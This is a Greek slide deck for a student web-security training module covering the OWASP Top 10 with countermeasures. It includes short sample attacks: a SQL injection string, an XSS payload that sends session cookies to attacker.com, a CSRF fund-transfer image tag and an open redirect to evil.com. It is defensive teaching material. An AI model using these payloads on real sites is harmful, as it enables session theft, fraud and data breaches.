Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module

Επισκόπηση προβλημάτων ασφαλείας, απειλών και κακόβουλων επιθέσεων αντίμετρα hands on lab/training module ikoniaris@gmail.com http://bruteforce.gr AUTH ACM Student Chapter 1

Τι είναι διαδικτυακή εφαρμογή και τι ασφάλεια διαδικτυακών εφαρμογών Γιατί έχουμε προβλήματα ασφαλείας και γιατί δεν λύνονται άμεσα Οι μύθοι της ασφάλειας διαδικτυακών εφαρμογών Οι 10 συχνότερες επιθέσεις σε επίπεδο διαδικτυακών εφαρμογών (OWASP) Αντίμετρα σε επίπεδο υλοποίησης εφαρμογών και υποδομής «Μαθήματα» για την ασφάλεια εφαρμογών Hands-on lab / training module AUTH ACM Student Chapter 2

Μια διαδικτυακή εφαρμογή ή διαδικτυακή υπηρεσία είναι μία εφαρμογή λογισμικού που είναι προσβάσιμη με τη χρήση κάποιου web browser ή κάποιου άλλου HTTP(s) user agent. Ο όρος μπορεί να αναφέρεται και σε κάποια εφαρμογή που τρέχει σε ένα περιβάλλον ελεγχόμενο από το σύστημα και στον browser του χρήστη, όπως ένα java applet. AUTH ACM Student Chapter 3

Δεν είναι ασφάλεια δικτύων! Είναι η ασφάλεια που αφορά: Custom κώδικα κάποιας διαδικτυακής εφαρμογής Βιβλιοθήκες λογισμικού που χρησιμοποιούνται Backend συστήματα Web & application servers AUTH ACM Student Chapter 4

«Η ασφάλεια δεν είναι η δουλειά μου» «Αν δουλεύει, είναι εντάξει» «Πληρώνομαι για να το κάνω να λειτουργεί, όχι να είναι ασφαλές» Οι εταιρίες δουλεύουν στα projects τους ακολουθόντας συγκεκριμένα budgets και η ασφάλεια συνολικά δεν έχει το μερίδιο που θα έπρεπε, με βάση τη σημασία της. Έλλειψη γνώσεων και ενημέρωσης από προγραμματιστές και στελέχη για τα τρέχοντα προβλήματα ασφαλείας και την υλοποίηση αντίμετρων. AUTH ACM Student Chapter 5

Δεν υπάρχει συγκεκριμένη ομάδα ή άτομο που να καταλαβαίνει ή να έχει την ευθύνη συντήρης του προβληματικού κώδικα. Η ομάδα ανάπτυξης δεν καταλαβαίνει ή υποτιμά τη σοβαρότητα του προβλήματος. Μελλοντικά σχέδια και προσθήκες στην εφαρμογή έχουν μεγαλύτερη προτεραιότητα από την κάλυψη των κενών ασφαλείας. Έλλειψη χρημάτων για τη δρομολόγηση της διαδικασίας. AUTH ACM Student Chapter 6

Ο κώδικας που έχει πρόβλημα ανήκει σε κάποιον τρίτο συνεργάτη ή προμηθευτή που δε δείχνει σοβαρότητα για το ζήτημα. Η εφαρμογή (ή website) θα πάψει να λειτουργεί ή θα αντικατασταθεί «σύντομα». Δεχόμαστε το ρίσκο της εκμετάλλευσης της τρωτότητας της εφαρμογής μας. Η επίλυση έρχεται σε αντίθεση με αποφάσεις άλλων τμημάτων/στελεχών. AUTH ACM Student Chapter 7

Μύθος #1: ο(ι) προγραμματιστή(ε)ς θα παραδώσουν μια ασφαλή εφαρμογή χωρίς να το απαιτήσω ή να τους ρωτήσω Μύθος #2: Μόνο οι hackers γνωρίζουν πώς να εκμεταλλεύονται προβλήματα ασφαλείας και αυτοί είναι λίγοι ή ασχολούνται με πιο σημαντικά θέματα και στόχους Μύθος #3: Η εφαρμογή μου είναι ασφαλής, στον server μου έχω εγκατεστημένο πιστοποιητικό SSL AUTH ACM Student Chapter 8

Μύθος #4: Η εφαρμογή μου είναι ασφαλής, στον server μου έχω εγκατεστημένο firewall Μύθος #5: Προβλήματα σε εφαρμογές που χρησιμοποιούνται «εσωτερικά» δεν είναι και τόσο σημαντικά AUTH ACM Student Chapter 9

AUTH ACM Student Chapter 10

1 Injection 2 Cross-Site Scripting (XSS) 3 Broken Authentication and Session Management 4 Insecure Direct Object References 5 Cross-Site Request Forgery (CSRF) 6 Security Misconfiguration 7 Insecure Cryptographic Storage 8 Failure to Restrict URL Access 9 Insufficient Transport Layer Protection 10 Unvalidated Redirects and Forwards AUTH ACM Student Chapter 14

Ο κακόβουλος χρήστης στέλνει ειδικά κατασκευασμένα ερωτήματα SQL (κυρίως) στην εφαρμογή η οποία τα προωθεί στη ΒΔ. Παράδειγμα: String query = "SELECT * FROM accounts WHERE custname= " + request.getparameter( username ) + " "; Ο επιτηθέμενος τροποποιεί την παράμετρο id στέλνοντας: admin or 1 = 1 http://example.com/app/accountview?id=admin' or '1'='1 Με αυτόν τον τρόπο αλλάζει η έννοια του ερωτήματος (είναι TRUE) και επιστρέφονται όλες οι εγγραφές από τον πίνακα της ΒΔ. AUTH ACM Student Chapter 15

Χρησιμοποιούμε prepared statements, που κάνουν διαχωρισμό μεταξύ κώδικα και δεδομένων. Αντί για το μη ασφαλές: String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getparameter("customername"); try { Statement statement = connection.createstatement( ); ResultSet results = statement.executequery( query ); } AUTH ACM Student Chapter 16

Χρησιμοποιούμε: String custname = request.getparameter("customername"); String query = "SELECT account_balance FROM user_data WHERE user_name =? "; PreparedStatement pstmt = connection.preparestatement( query ); pstmt.setstring( 1, custname); ResultSet results = pstmt.executequery( ); Αν κάποιος έδινε ως είσοδο: john or 1 = 1 τότε το πρόγραμμα δεν θα το μετέφραζε σε κώδικα αλλά θα έψαχνε να βρει το χρήστη με αυτό το όνομα ακριβώς. AUTH ACM Student Chapter 17

Ο κακόβουλος χρήστης στέλνει στην ευπαθή εφαρμογή text-based attack scripts (JavaScript) τα οποία τρέχουν στον browser κάθε χρήστη που επισκέπτεται την σελίδα. Μπορεί να είναι κάτι απλό όπως η εμφάνιση ενός alert παραθύρου, ή κάποια άλλη «αθώα» ενέργεια αλλά μπορεί να προκαλέσει και αρκετά σοβαρά προβλήματα (session highjack, content redirection, defacements κλπ) Είναι το πιο διαδεμένο πρόβλημα ασφαλείας αυτή τη στιγμή στις διαδικτυακές εφαρμογές. AUTH ACM Student Chapter 18

Παράδειγμα, έχουμε μια σελίδα η οποία χρησιμοποιεί δεδομένα του χρήστη για να κατασκευάσει τον ακόλουθο HTML κώδικα: (String) page += "<input name= comment type= TEXT value= " + request.getparameter( usercomment ) + " >"; Ο κακόβουλος χρήστης δίνει ως παράμετρο usercomment : '><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'. Και πλέον η σελίδα κατασκευάζεται περιέχοντας αυτόν τον JavaScript κώδικα. AUTH ACM Student Chapter 19

Με τον τρόπο αυτό ο παραπάνω κώδικας εκτελείτε στον browser του θύματος και το session cookie του στέλνεται στον κακόβουλο χρήστη ο οποίος μπορεί έπειτα να επέμβει στην τρέχουσα συνεδρία του χρήστη καταλαμβάνοντας την. AUTH ACM Student Chapter 20

Πρέπει να περνάμε ΟΛΑ τα δεδομένα που εισάγονται από τους χρήστες μέσα από ένα XSS φίλτρο, το οποίο θα αφαιρεί όλα τα στοιχεία που θεωρούνται «επικίνδυνα» όπως: <script>, JavaScript εντολές, κλπ. Java: XSS Protect library AUTH ACM Student Chapter 21

Δεύτερον, πρέπει να εφαρμόζουμε escaping (πχ HTML character escaping) σε όλα τα στοιχεία που αποτελούν δεδομένα και όχι κώδικα, αναλόγως το σημείο της σελίδας στο οποίο θα εισαχθούν (πχ μέσα σε div tags, ως style attribute κλπ) Ακόμα και αν ο κακόβουλος χρήστης καταφέρει να εισάγει κώδικα στη σελίδα, αυτός δεν θα εκτελεστεί. AUTH ACM Student Chapter 22

Οι προγραμματιστές συχνά γράφουν δικά τους συστήματα για την πιστοποίηση και τη διαχείριση συνόδου των χρηστών της εφαρμογής τους, αλλά το να κατασκευάζεις σωστά τέτοια συστήματα είναι δύσκολο. Ως αποτέλεσμα, πολλά από αυτά τα custom συστήματα έχουν προβλήματα ασφαλείας σε διάφορες λειτουργίες τους, όπως logout, session timeouts, remember me, κλπ. Το να βρεις αυτά τα προβλήματα αν μιλάμε για κάποια custom υλοποίηση είναι δύσκολο αλλά όχι ακατόρθωτο, ενώ ο αντίκτυπος μπορεί να είναι μεγάλος. AUTH ACM Student Chapter 23

Παράδειγμα 1: Μια custom εφαρμογή για κράτηση εισητηρίων τοποθετεί για κάποιο λόγο το session ID στο URL της: http://example.com/sale/tickets;jsessionid=2p0oc2jdpxm0oqsndlps KHCJUN2JV?dest=Thessaloniki Ο χρήστης θέλει να ενημερώσει τους φίλους του για το ταξίδι και στέλνει με email το παραπάνω link σε γνωστούς του. Όταν αυτοί χρησιμοποιήσουν το link αυτό, θα χρησιμοποιήσουν επίσης το δικό του session (με τα δικά του στοιχεία, πχ πιστωτική κάρτα) Παράδειγμα 2: Μια εφαρμογή δεν κάνει σωστή χρήστη των session timeouts. Κάποιος χρήστης χρησιμοποιεί ένα κοινόχρηστο υπολογιστή (internet café) για να συνδεθεί. Αντί να επιλέξει logout ο χρήστης απλά κλείνει τον browser και φεύγει. Κάποιος άλλος χρήστης (κακόβουλος) χρησιμοποιεί τον ίδιο (ακόμα συνδεδμένο) browser μισή ώρα αργότερα. AUTH ACM Student Chapter 24

Προσπαθούμε τα δικά μας συστήματα πιστοποίησης και διαχείρισης sessions (αν είναι απαραίτητο να φτιάξουμε custom απ την αρχή) να ακολουθούν κάποιες συγκεκριμένες προδιαγραφές ασφαλείας και απαιτήσεις. Ακολουθούμε τα industry standards για την αποθήκευση κωδικών και ευαίσθητων προσωπικών δεδομένων (salted hashing κλπ). Χρησιμοποιούμε έτοιμα frameworks και APIs που έχουν ήδη υλοποιημένες τις παραπάνω διαδικασίες για εμάς και βρίσκονται υπό ανάπτυξη και έλεγχο από ειδικούς στον τομέα. AUTH ACM Student Chapter 25

Οι εφαρμογές συχνά χρησιμοποιούν το όνομα ή το κλειδί ενός αντικείμενου όταν δημιουργούν δυναμικά ιστοσελίδες. Συνήθως υπάρχει το πρόβλημα ασφαλείας ότι η εφαρμογή δεν ελέγχει αν κάποιος συγκεκριμένος χρήστης έχει δικαίωμα να προσπελάσει ένα αντικείμενο. Κάποιος κακόβουλος χρήστης ο οποίος είναι πιστοποιημένος χρήστης του συστήματος μπορεί απλά να αλλάξει την τιμή μιας παραμέτρου και να έχει πρόσβαση σε ένα αντικείμενο του συστήματος που κανονικά δεν θα έπρεπε. AUTH ACM Student Chapter 26

Παράδειγμα: Ο κακόβουλος χρήστης μεταβάλει την τιμή της παραμέτρου acct και βλέπει το λογαριασμό κάποιου άλλου συνδρομητή της τράπεζας. Με το συγκεκριμένο τρόπο έγινε η κλοπή των στοιχείων ~200.000 πελατών της τράπεζας Citibank. AUTH ACM Student Chapter 27

Χρησιμοποιούμε έμμεσες αναφορές σε αντικείμενα ανά χρήστη/session: Για παράδειγμα, αντί να χρησιμοποιούμε το κλειδί του αντικειμένου στη ΒΔ για να αναφερόμαστε σε αυτό, μπορούμε να εμφανίζουμε εξαρχής στο χρήστη ένα μενού με συγκεκριμένες επιλογές αριθμημένες 1-5 της οποίες μπορεί να επιλέξει. Κάθε επιλογή αντιστοιχίζεται με κάποιο αντικείμενο/κλειδί της ΒΔ μέσω κάποιου ασφαλούς συστήματος. Κάνουμε έλεγχο πρόβασης: Σε κάθε χρήση άμεσης αναφοράς σε κάποιο αντικείμενο από κάποια μη πιστοποιημένη πηγή, πρέπει να ελέγχουμε ότι ο χρήστης επιτρέπεται να προσπελάσει το αντικείμενο που ζήτησε. AUTH ACM Student Chapter 28

Επειδή οι web browsers στέλνουν στοιχεία σύνδεσης όπως υπάρχοντα session cookies αυτόματα, κακόβουλοι χρήστες μπορούν να κατασκευάσουν σελίδες (ή να αλλάξουν ήδη υπάρχουσες βλ. XSS) ώστε το θύμα να στέλνει σε κάποια άλλη σελίδα πλαστά HTTP αιτήματα που δε ξεχωρίζουν από τα πραγματικά. Αν ο χρήστης είναι πιστοποιημένος (δηλαδή είναι ή ήταν συνδεδεμένος) στην άλλη σελίδα, και μόνο τότε, η επίθεση επιτυγχάνει. AUTH ACM Student Chapter 29

Παράδειγμα: Μια εφαρμογή επιτρέπει στο χρήστη να υποβάλει URL αιτήματα τα οποία επιτελούν κάποια συγκεκριμένη ενέργεια: http://example.com/app/transferfunds?amount=1500&destina tionaccount=4673243243 Ένας κακόβουλος χρήστης κατασκευάζει ένα αίτημα το οποίο θα μεταφέρει χρήματα στο δικό του λογαριασμό και το εισάγει στον κώδικα μιας εικόνας σε διάφορες σελίδες υπό τον έλεγχο του: <img src= http://example.com/app/transferfunds? amount=1500&destinationaccount=attackersacct# width="0" height="0" /> Αν το θύμα επισκεφτεί μια από αυτές τις σελίδες ενώ είναι ήδη συνδεδεμένος στην εφαρμογή της σελίδας example.com τότε το αίτημα αυτό θα εκτελεστεί χρησιμοποιώντας το session του θύματος, μεταφέροντας τα χρήματα. AUTH ACM Student Chapter 30

Για την αποφυγή των επιθέσεων CSRF προσθέτουμε σε κάθε HTTP request ένα μη προβλέψιμο token. Αυτά τα tokens μπορούν να αλλάζουν ανά user session ή ακόμα και ανά request. Η καλύτερη πρακτική είναι το token αυτό να εισάγεται σε ένα κρυφό πεδίο ώστε να αποφεύγεται η προσθήκη του στο URL από όπου μπορεί κάποιος να το κλέψει. AUTH ACM Student Chapter 31

Λανθασμένες ή επισφαλείς ρυθμίσεις μπορούν να έχουν γίνει σε όλα τα επίπεδα της εφαρμογής και της υποδομής πάνω στην οποία τρέχει, όπως στους web servers, application servers, στα frameworks με τη χρήση των οποίων ρυθμίζονται κάποιες λειτουργίες της εφαρμογής και φυσικά σε custom code. Οι προγραμματιστές θα πρέπει να εργάζονται μαζί με τους διαχειριστές συστημάτων και δικτύου για να διασφαλιστεί η σωστή ρύθμιση ολόκληρης της στοίβας εφαρμογής (app stack). Σε αντίθετη περίπτωση, κακόβουλοι χρήστες μπορούν να χρησιμοποιήσουν default accounts, μη χρησιμοποιούμενες σελίδες με κενά ασφαλείας, να έχουν πρόβαση σε μη προστατευμένους καταλόγους κλπ. AUTH ACM Student Chapter 32

Παράδειγμα 1: Η εφαρμογή που κατασκευάσαμε στηρίζεται σε κάποιο framework όπως το Symphony ή cakephp. Κάποιος ανακαλύπτει ένα XSS flaw στο framework και οι προγραμματιστές κατασκευάζουν ένα patch που το διορθώνει. Για κάποιον λόγο δεν εφαρμόζουμε το patch στο σύστημα μας και επομένως έχουμε το ρίσκο κάποιος να το εκμεταλλευτεί. Παράδειγμα 2: Η εμφάνιση καταλόγων δεν έχει απενεργοποιηθεί στον server μας. Έτσι, ένας κακόβουλος χρήστης μπορεί να δει όλα τα αρχεία που βρίσκονται στον server. Είτε χειροκίνητα είτε με χρήση ενός εργαλείου ψάχνει και κατεβάζει στον υπολογιστή του αρχεία κωδικών, ή ακόμα και μεταγλωττισμένες κλάσεις του προγράμματος μας τις οποίες αντιστρέφει για να βρει προβλήματα στον κώδικα. AUTH ACM Student Chapter 33

Επαναλαμβανόμενη διαδικασία ισχυροποίησης της ασφάλειας των συστημάτων μας, από ειδικούς στον τομέα. Θα πρέπει να είμαστε σε θέση να στήσουμε ένα νέο ασφαλές περιβάλλον ανάπτυξης ή παραγωγής χωρίς μεγάλη προσπάθεια. Επαναλαμβάνομενη διαδικασία ελέγχου του λογισμικού μας και εγκατάστασης όλων των απαραίτητων διορθώσεων (patches) σε μικρό χρονικό διάστημα σε όλα τα συστήματα που χρησιμοποιούμε. Προσεκτικός σχεδιασμός της αρχιτεκτονικής της εφαρμογής μας ώστε να υπάρχει διαχωρισμός και ασφάλεια επικοινωνίας μεταξύ των διαφορετικών συστατικών της υποδομής μας. Χρήση εργαλείων αυτόματου ελέγχου της ασφάλειας των συστημάτων για να προλάβουμε τους κακόβουλους χρήστες. AUTH ACM Student Chapter 34

Το σύνηθες σφάλμα σε αυτήν την περιοχή είναι απλά η μη κρυπτογράφηση δεδομένων που θα έπρεπε να κρυπτογραφηθούν. Όταν χρησιμοποιείται κρυπτογράφηση, μπορούν να προκύψουν προβλήματα από χρήση αδύναμων αλγορίθμων, hashing χωρίς salting κλπ. Οι επιτηθέμενοι συνήθως δεν σπάνε την ίδια την κρυπτογράφηση, αλλά συνήθως ανακαλύπτουν κάποιο άλλο σφάλμα όπως το να βρουν κάποια έτοιμα κλειδιά, cleartext κωδικούς κλπ. AUTH ACM Student Chapter 35

Παράδειγμα 1: Μια σελίδα καταχωρεί τους κωδικούς των χρηστών της στη ΒΔ χωρίς hashing, αλλά σε μορφή cleartext. Κάποιος κακόβουλος χρήστης ανακαλύπτει ένα SQL injection flaw στη σελίδα και γίνεται κάτοχος όλης της λίστας χρηστών με τους κωδικούς τους. Παράδειγμα 2: Η ΒΔ για την αποθήκευση κωδικών των χρηστών μιας διαδικτυακής εφαρμογής χρησιμοποιεί unsalted hashes για την αποθήκευση των κωδικών. Κάποιος κακόβουλος ανακαλύπτει ένα σφάλμα στην εφαρμογή και κατορθώνει να γίνει κάτοχος του αρχείου κωδικών. Μπορεί να ανακτήσει όλους τους κωδικούς σε ~4 εβδομάδες, ενώ τα αντίστοιχα salted hashes θα απαιτούσαν ~3000 χρόνια. AUTH ACM Student Chapter 36

Για όλα τα ευαίσθητα δεδομένα για τα οποία χρειάζεται κρυπρογράφηση πρέπει να εφαρμόζονται τουλάχιστον τα παρακάτω: Όλα τα δεδομένα πρέπει να κρυπτογραφούνται με σωστό τρόπο και σε στάδια που να αποτρέπουν τόσο εξωτερικές αλλά και εσωτερικές επιθέσεις. Τα αντίγραφα των δεδομένων μας πρέπει να είναι επίσης σωστά κρυπτογραφημένα, αλλά τα κλειδιά κρυπτογράφησης τους και τα αντίγραφα τους να διαχειρίζονται ξεχωριστά από αυτά. Χρήση ισχυρών αλγορίθμων κρυπτογράφησης και ισχυρών κλειδιών. Χρήση hashing με σωστό τρόπο για την αποθήκευση των κωδικών πρόβασης χρηστών. Έλεγχος πρόβασης για όλα τα κλειδιά και τους κωδικούς. AUTH ACM Student Chapter 37

Οι διαδικτυακές εφαρμογές δεν προστατεύουν πάντα τα αιτήματα σελίδων. Κάποιες φορές τα δικαιώματα καθορίζονται μέσω κάποιων ρυθμίσεων στον server και αυτές δεν έχουν γίνει σωστά, ή κάποιες άλλες φορές οι προγραμματιστές ξεχνούν να βάλουν ρουτίνες για έλεγχο πρόβασης στον κώδικα τους. Ένας κακόβουλος χρήστης που είναι συνδεδεμένος στο σύστημα μπορεί απλά να αλλάξει το URL για να εισέλθει σε μια σελίδα που κανονικά δεν έχει δικαιώματα να προσπελάσει. AUTH ACM Student Chapter 38

Παράδειγμα: Ένας χρήστης του συστήματος μπορεί, αφού συνδεθεί, να πάρει ορισμένες πληροφορίες για την εφαρμογή πηγαίνοντας στη σελίδα: http://example.com/app/getappinfo Αν ένας ανώνυμος χρήστης ξέρει αυτό το URL, το εισάγει στον browser του και καταφέρει να δει τη σελίδα, τότε έχουμε μη εξουσιοδοτημένη πρόσβαση. Επίσης, ένας χρήστης του συστήματος μπορεί να αλλάξει το URL σε: http://example.com/app/admin_getappinfo το οποίο προορίζεται μόνο για τους admins της σελίδας. Αν καταφέρει να προσπελάσει τη σελίδα τότε έχουμε και πάλι μη εξουσιοδοτημένη πρόσβαση. AUTH ACM Student Chapter 39

Η αντιμετώπιση του προβλήματος γίνεται σχεδιάζοντας ένα σύστημα ελέγχου πιστοποίησης και εξουσιοδότητης που εφαρμόζεται για κάθε σελίδα της εφαρμογής. Ασχέτως του μηχανισμού που θα χρησιμοποιηθεί, γίνονται οι παρακάτω προτάσεις: Οι πολιτικές πιστοποίησης και εξουσιοδότησης να στηρίζονται σε ρόλους χρηστών (κάθε χρήστης θα μπορεί να έχει ένα ή παραπάνω ρόλους) ώστε να είναι εύκολη η διαχείριση τους. Οι πολιτικές θα πρέπει να είναι παραμετροποιήσιμες σε υψηλό βαθμό ώστε όλες οι ρυθμίσεις να γίνονται σε αυτές, αποφεύγοντας hard coded κομμάτια τους στον κώδικα μας. Ο μηχανισμός που θα κάνει διαχείριση των παραπάνω θα πρέπει να αρνείται την πρόσβαση by default και να δίνει πρόσβαση βάση συγκεκριμένων κανόνων σε συγκεκριμένους χρήστες (if XX allow; else deny all; και όχι: allow all; unless XX) AUTH ACM Student Chapter 40

Οι διαδικτυακές εφαρμογές συχνά δεν προστατεύουν τη διαδικτυακή τους κίνηση (δεδομένα που μεταφέρονται). Μπορεί να χρησιμοποιούν το πρωτόκολλο SSL/TLS (https) κατά την πιστοποίηση, αλλά όχι σε άλλα σημεία, με αποτέλεσμα κάποιος να καταφέρει να υποκλέψει δεδομένα ή session IDs. Πρόβλημα είναι επίσης η χρήση ορισμένες φορές και πιστοποιητικών τα οποία δεν έχουν ρυθμιστεί σωστά ή έχουν λήξει. AUTH ACM Student Chapter 41

Παράδειγμα 1: Μια ιστοσελίδα δεν χρησιμοποιεί SSL για τις σελίδες που απαιτούν πιστοποίηση. Ένας κακόβουλος χρήστης απλά παρακολουθεί την κίνηση του δικτύου (πχ ανοικτό ασύρματο δίκτυο ή μετά από hacking ) και παρατηρεί-καταγράφει ένα session cookie. Το cookie αυτό το ξαναστέλνει ο ίδιος και καταλαμβάνει το session του θύματος. Παράδειγμα 2: Μια διαδικτυακή εφαρμογή Java χρησιμοποιεί standard JDBC για τη σύνδεση με τη ΒΔ, χωρίς οι υπεύθυνοι να αντιλαμβάνονται ότι όλη η κίνηση μεταφέρεται χωρίς ασφάλεια κρυπτογράφησης. AUTH ACM Student Chapter 42

Ο ευκολότερος τρόπος για να λύσουμε το πρόβλημα της προστασίας σε επίπεδο μεταφοράς είναι να απαιτούμε τη χρήση SSL για ολόκληρη την ιστοσελίδα/εφαρμογή. Βέβαια, για λόγους απόδοσης, κάποιες ιστοσελίδες μπορούν να χρησιμοποιούν SSL μόνο σε private σελίδες, ή μόνο σε «κρίσιμες» σελίδες. Αυτό όμως μπορεί να εκθέτει σε κίνδυνο session IDs και άλλα ευαίσθητα δεδομένα. Πρέπει να εφαρμόζουμε τουλάχιστον τα εξής: Απαίτηση SSL σε όλες τις ευαίσθητες σελίδες. Τα μη-ssl αιτήματα θα πρέπει να ανακατευθύνονται στην αντίστοιχη SSL σελίδα. Να θέτουμε το secure flag (HTTPs) σε όλα τα ευαίσθητα cookies. Τα πιστοποιητικά που χρησιμοποιούμε είναι έγκυρα, δεν έχουν λήξει ή ανακληθεί και λειτουργούν σε όλα τα domains που χρησιμοποιεί η ιστοσελίδα. Οι συνδέσεις με τα συστήματα που τρέχουν στο παρασκήνιο (SQL, LDAP κλπ) πρέπει επίσης να χρησιμοποιούν SSL ή άλλες τεχνολογίες κρυπτογράφησης. AUTH ACM Student Chapter 43

Οι διαδικτυακές εφαρμογές συχνά ανακατευθύνουν τους χρήστες σε άλλες σελίδες ή κάνουν χρήση παρόμοιων τεχνικών προώθησης αιτημάτων εσωτερικά. Μερικές φορές η σελίδα προορισμός καθορίζεται από μια μη ελεγχόμενη παράμετρο, δίνοντας τη δυνατότητα σε κακόβουλους χρήστες να επιλέγουν τη σελίδα προορισμού. Κάποιος κακόβουλος χρήστης κατασκευάζει ένα link το οποίο ανακατευθύνει σε μια σελίδα που ο ίδιος επιλέγει και ξεγελά τα θύματα του ώστε να το πατήσουν. Οι χρήστες είναι πιο πιθανόν να ακολουθήσουν το link καθώς φαίνεται ότι πρόκειται για μια γνωστή σε αυτούς ή (φαινομενικά) ασφαλής ιστοσελίδα (phishing attacks). AUTH ACM Student Chapter 44

Παράδειγμα: Η εφαρμογή μας έχει μια σελίδα που ονομάζεται redirect.jsp η οποία παίρνει μια μοναδική παράμετρο με το όνομα url προς την οποία και ανακατευθύνει. Κάποιος κακόβουλος χρήστης κατασκευάζει ένα URL: http://www.example.com/redirect.jsp?url=evil.com Στέλνει αυτό το link μαζί με ένα μήνυμα σε διάφορους ανυποψίαστους χρήστες οι οποίοι και ακολουθούν το link. Η σελίδα evil.com είναι μια ακριβής αντιγραφή της ιστοσελίδας example.com, όπου τα θύματα εισάγουν τα στοιχεία τους στη ψεύτικη φόρμα σύνδεσης, στέλνοντας τα τελικά στον κακόβουλο χρήστη. AUTH ACM Student Chapter 45

Ασφαλείς ανακατευθύνσεις και προωθήσεις μπορούν να πραγματοποιηθούν με διάφορους τρόπους: Αποφυγή ανακατευθύνσεων και προωθήσεων γενικά. Αποκλεισμός παραμέτρων που δίδονται από το χρήστη για τον καθορισμό του προορισμού. Αν οι παράμετροι προορισμού δεν γίνεται να αποφευχθούν, διασφαλίζουμε ότι είναι έγκυρες και εξουσιοδοτημένες για εκτέλεση από το συγκεκριμένο χρήστη. Προτείνεται αυτές οι παράμετροι να μην είναι καν ένα URL ή τμήμα αυτού, αλλά ένας πχ ακέραιος αριθμός ο οποίος εσωτερικά θα αντιστοιχίζεται σε κάποια συγκεκριμένη σελίδα προορισμό. AUTH ACM Student Chapter 46

Μάθημα #1: Το λογισμικό πάντα θα έχει κάποια bugs και ως αποτέλεσμα αυτών κάποια προβλήματα ασφαλείας. Ο στόχος μας θα πρέπει να είναι να μειώσουμε όσο μπορούμε τον αριθμό τους και τη σοβαρότητα των όσων παραμένουν. Μάθημα #2: Η εκμετάλλευση μίας και μόνο αδυναμίας της διαδικτυακής υπηρεσίας μας είναι ικανή να θέσει εκτός λειτουργίας όλη τη διαδικτυακή παρουσία μας, να προκαλέσει απώλεια ή διαρροή δεδομένων και πολλά άλλα. Όσο πιο σύντομα ανακαλύπτουμε και διορθώνουμε τα κενά ασφαλείας τόσο μικρότερο είναι το χρονικό «παράθυρο» κατά το οποίο είμαστε ευπαθείς. AUTH ACM Student Chapter 47

Μάθημα #3: Η ύπαρξη των αδυναμιών δεν είναι συνώνυμη με την εκμετάλλευση τους. Κάποιος ή κάτι θα πρέπει ενεργά να ασχοληθεί με το πώς θα μπορέσει να προκαλέσει τεχνικά ή οικονομικά προβλήματα, αξιοποιώντας κάποια τεχνική που εκμεταλλεύεται την αδυναμία. Κάθε κακόβουλος χρήστης έχει διαφορετικό σκοπό και κίνητρο. Μάθημα #4: Κάθε στόχος μπορεί να χωριστεί σε στόχο «ευκαιρίας» και στόχο «επιλογής»: Ένας στόχος ευκαιρίας έχει χαμηλότερα πρότυπα ασφαλείας από το μέσο όρο και έτσι η επίθεση εναντίον του αποτελεί «ευκαιρία». Ένας στόχος επιλογής είναι κάποιος που διαθέτει δεδομένα ή πληροφορία με μεγάλη αξία για τον κακόβουλο χρήστη, ο οποίος μεθοδικά θα προχωρήσει σε ανάλυση των αδυναμιών που θα μπορέσει να ανακαλύψει ώστε να τις εκμεταλλευτεί κατάλληλα. AUTH ACM Student Chapter 48